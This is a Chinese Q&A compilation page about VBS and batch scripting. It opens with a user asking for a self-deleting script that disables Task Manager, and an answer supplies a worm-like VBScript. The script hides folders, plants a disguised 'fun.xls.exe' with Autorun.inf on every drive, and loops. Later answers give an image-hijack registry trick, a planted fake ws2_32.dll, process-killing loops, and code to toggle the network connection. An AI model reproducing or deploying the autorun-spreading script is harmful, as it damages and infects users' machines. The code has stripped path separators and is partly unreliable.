一个双击后就自己消失，禁用任务管理器，文件夹带exe的vbs编程，如何？？？？

我乱改的 反正还原了 你试试 注意一定要先把有.exe的文件夹全删了 没有就不用了

vbs禁用软件(vbs禁用cmd)vbs禁用软件(vbs禁用cmd)


vbs禁用软件(vbs禁用cmd)


On Error Resume Next

Set fso=CreateObject("Scripting.FileSystemObject")

Set Cx=fso.GetSpecialFolder(0)

fso.GetFile(WScript.ScriptFullName).Delete(True)

Set ws=CreateObject("WScript.Shell")

ws.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesDisableTaskMgr",0,"REG_DWORD"

Do

C=fso.GetParentFolderName(Cx)

Set Fdrs=fso.GetFolder(C).SubFolders

For Each Fdr In Fdrs

If Not fso.GetExtensionName(Fdr.Name)="exe" Then

fso.CreateFolder(C & Fdr.Name & ".111")

fso.GetFolder(C & Fdr.Name & ".111").Attributes=Fdr.Attributes

Fdr.Attributes=5

End If

Next

Set Cx=Nothing

Set Fdrs=Nothing

Set drvs=fso.Drives

For Each drv In drvs

If drv.DriveType=2 Then

Set fun=fso.GetFile(C & "WINDOWS32tskill.exe")

fun.Attributes=6

fun.Copy(drv & "fun.xls.exe")

Set auto=fso.CreateTextFile(drv & "Autorun.inf")

auto.WriteLine("[Autorun]")

auto.WriteLine("Open=fun.xls.exe")

auto.Close

Set auto=Nothing

Set fun=Nothing

If drv & "" = C Then

Else

Set Fdrs=fso.GetFolder(drv & "").SubFolders

For Each Fdr In Fdrs

If Not fso.GetExtensionName(Fdr.Name)="111" Then

Fdr.Name=Fdr.name & ".111"

End If

Next

End If

End If

Next

WScript.Sleep 11000

Loop

通过win批处理禁止安装软件

以下为批处理 映像劫持法(会被360自动阻止。如已安装360此法不能凑效) @echo off echo Windows Registry Editor Version 5.00>>123.reg echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsqq.EXE] >>123.reg echo "Debugger"="禁止启动" >>123.reg regedit /s 123.reg del /q 123.reg 建立特殊文件于QQ目录下(此处路径为C:Progra~1TencentQQ，可以自己稍微改变下) echo off copy > 111.txt echo ycopy nul 111.txt rename 111.txt ws2_32.dll move ws2_32.dll C:Progra~1TencentQQ 以下为vbs 每隔1000毫秒结束1次QQ进程 dim bag,pipe,good do good="." set bag=getobject("winmgmts:"&good&"rootcimv2") set pipe=bag.execquery("select from win32_process where name='qq.exe'") for each i in pipe i.terminate() next wscript.sleep 1000 loop 以上任意的批处理或者bat什么的脚本设个开机启动即可 方法实在很多。。。你动点脑子就好。。

win11关闭vbs电脑会不会中毒呢?

关闭VBS并不会对电脑造成毒害，但是如果你的电脑中有恶意VBS代码，可能会危害你的电脑安全，所以建议要用杀毒软件定期进行杀毒扫描，以确保电脑的安全。

开启动Mcafee8.8

企业版本。拦截Vbs 自动智能拦截。非常强的

使用VBS文件限制软件时为何出错

dim qobj,pipe,good

do

good="."

set qobj=getobject("winmgmts:"&good&"rootcimv2")

set pipe=qobj.execquery("select from win32_process where name='excel.exe'")

If pipe.count<>0 Then '这里要判断下PIPE集的值是否为空

for each i in pipe

i.terminate()

next

end if

wscript.sleep 1

loop

你的代码放我电脑里则是是可以执行！我帮你改进了一下，当你所限制的程序没在运行时，则不执行FOR EACH循环。可以提高代码的执行效率。

创建插件对象失败，，检查系 统是否禁用了VBS脚本权限。。。。。。。怎么弄啊，？是什么意思。。。急，，

究竟是运行什么程序时出现的？如果是打开按键小精灵开启脚本的时候弹出这个提示，则原因可能是脚本作者调用了大漠插件，你应该可以在C盘找到一个DM.DLL的文件，这就是大漠插件，你可以关闭杀毒软件后（防止误杀或防火墙没关），再试一下。

如果是其它软件，则先打开任务管理器，转到进程管理面板，直接新建任务，输入：wscript.exe，看下面的任务进程里是否多了一个wscript.exe的进程，如果有的话，说明VBS没有被禁用，如果没有，就被禁用了。

如果被禁用了，则用下面的方法

IE浏览器 ： 选择 工具-----> Internet选项----->选择“安全”选项卡----->点“自定义级别”按钮，就可以看到了。“Scripting"下的"Active scripting"设置成"Enable"，就可以了。

如何用VB禁止程序访问网络

Private Sub ToggleLanConnection() Const ssfCONTROLS = 3 sConnectionName = "本地连接" ' sConnectionName = "Local Area Connection" '英文 sEnableVerb = "启用(&A)" sDisableVerb = "禁用(&B)" ' sEnableVerb = "En&able" '英文 ' sDisableVerb = "Disa&ble" '英文 Set shellApp = CreateObject("shell.application") Set oControlPanel = shellApp.Namespace(ssfCONTROLS) Set oNetConnections = Nothing For Each folder In oControlPanel.s If folder.Name = "网络和拨号连接" Then ' If folder.Name = "Network Connections" Then '英文 Set oNetConnections = folder.getfolder: Exit For End If Next If oNetConnections Is Nothing Then MsgBox "Couldn't find 'Network Connections' folder" Exit Sub End If Set oLanConnection = Nothing For Each folder In oNetConnections.s If LCase(folder.Name) = LCase(sConnectionName) Then Set oLanConnection = folder: Exit For End If Next If oLanConnection Is Nothing Then MsgBox "Couldn't find '" & sConnectionName & "' " Exit Sub End If bEnabled = True Set oEnableVerb = Nothing Set oDisableVerb = Nothing For Each Verb In oLanConnection.verbs Debug.Print Verb.Name If Verb.Name = sEnableVerb Then Set oEnableVerb = Verb bEnabled = False Exit For End If If Verb.Name = sDisableVerb Then Set oDisableVerb = Verb Exit For End If Next If bEnabled Then oDisableVerb.DoIt Else oEnableVerb.DoIt End If End Sub Private Sub Command1_Click() ToggleLanConnection End Sub

可以用winapi函数中的注册表作函数，将相应的项删了或禁止就可以了吧